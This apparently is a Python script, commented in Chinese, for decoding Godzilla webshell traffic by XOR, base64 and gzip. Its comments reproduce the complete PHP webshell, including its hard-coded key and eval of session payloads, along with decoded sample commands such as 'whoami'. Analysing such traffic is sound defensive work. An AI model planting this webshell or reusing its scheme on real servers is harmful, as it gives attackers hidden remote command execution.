注意python环境中有没有下文中的库
from re import split
import base64
import urllib
import gzip
zhi = input("")
class mo_kuai1:
def str_reverse(i):
a = i[::-1]
return a
def base64_jei(a):
a == b'a'
c = base64.b64decode(a).decode('utf-8', 'ignore')
return c
def XOR(D, K):
result = []
for i in range(len(D)):
c = K[i + 1 & 15]
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c))
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def urljei(zhi):
from urllib import parse
zhi = urllib.parse.unquote(zhi)
return zhi
class mo_kuai2():
def Godezillb_body(self):
a = mo_kuai1.urljei(self)
a = split("\'", a)
a=a[1] # 取出base64编码的字符串
a=a[::-1] # 反转字符串
a=mo_kuai1.base64_jei(a) # 解码base64编码的字符串
print(a)
return a
def Godezillb_respone(self):
key = input("请输入key:")
self = mo_kuai1.urljei(self) #url解码
response = gzip.decompress(mo_kuai1.XOR(base64.b64decode(self), key)) #base64解码,并异或解密,并解压缩bytes-like类型的数据
print("请求代码是",response)
def Godezillb_request(self):
key= '3c6e0b8a9c15224a' #webshell主体的key, 可以自己设置
a=self[16:-16] # 取出base64编码的字符串
request = gzip.decompress(mo_kuai1.XOR(base64.b64decode(a), key)) #base64解码,并异或解密,并解压缩bytes-like类型的数据
print("响应代码是",request)
# <?php
# @session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息
# @set_time_limit(0); // 设置脚本执行时间不限制
# @error_reporting(0); // 设置错误报告级别为 0,即不报告任何错误
# function encode($D,$K){
# for($i=0;$i<strlen($D);$i++) {
# $c = $K[$i+1&15]; // 根据密钥中的字符来加密数据
# $D[$i] = $D[$i]^$c; // 使用异或操作进行加密
# }
# return $D; // 返回加密后的数据
# }
# $pass='key'; // 密钥参数名 客户端设置
# $payloadName='payload'; // 载荷参数名
# $key='3c6e0b8a9c15224a''; // 加密密钥
# if (isset($_POST[$pass])){ // 检查 POST 请求中是否包含了密钥参数 kay
# $data=encode(base64_decode($_POST[$pass]),$key); // 解码并加密传入的数据
# if (isset($_SESSION[$payloadName])){ // 检查会话中是否存在载荷数据
# $payload=encode($_SESSION[$payloadName],$key); //解码 输出
# if (strpos($payload,"getBasicsInfo")===false){ // 检查载荷中是否包含指定字符串
# $payload=encode($payload,$key); // 判断是否被解码,如果否,解码
# }
# eval($payload); // 执行载荷中的 PHP 代码
# echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分
# echo base64_encode(encode(@run($data)/**这时候经过了gzip编码**/,$key)); // 对传入的数据运行,并将结果加密后输出
# echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分
# }else{
# if (strpos($data,"getBasicsInfo")!==false){ // 检查传入的数据中是否包含指定字符串
# $_SESSION[$payloadName]=encode($data,$key); // 将传入的数据加密后存入会话中
# }
# }
# }
# mo_kuai2.Godezillb_body(self=zhi)
# mo_kuai2.Godezillb_respone(self=zhi)
# 3c6e0b8a9c15224a
# b'cmdLine\x027\x00\x00\x00cmd /c "cd /d "D:/0.phpstudy_pro/WWW/gsl4.0/"&dir" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'
# whoami" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'
mo_kuai2.Godezillb_request(self=zhi)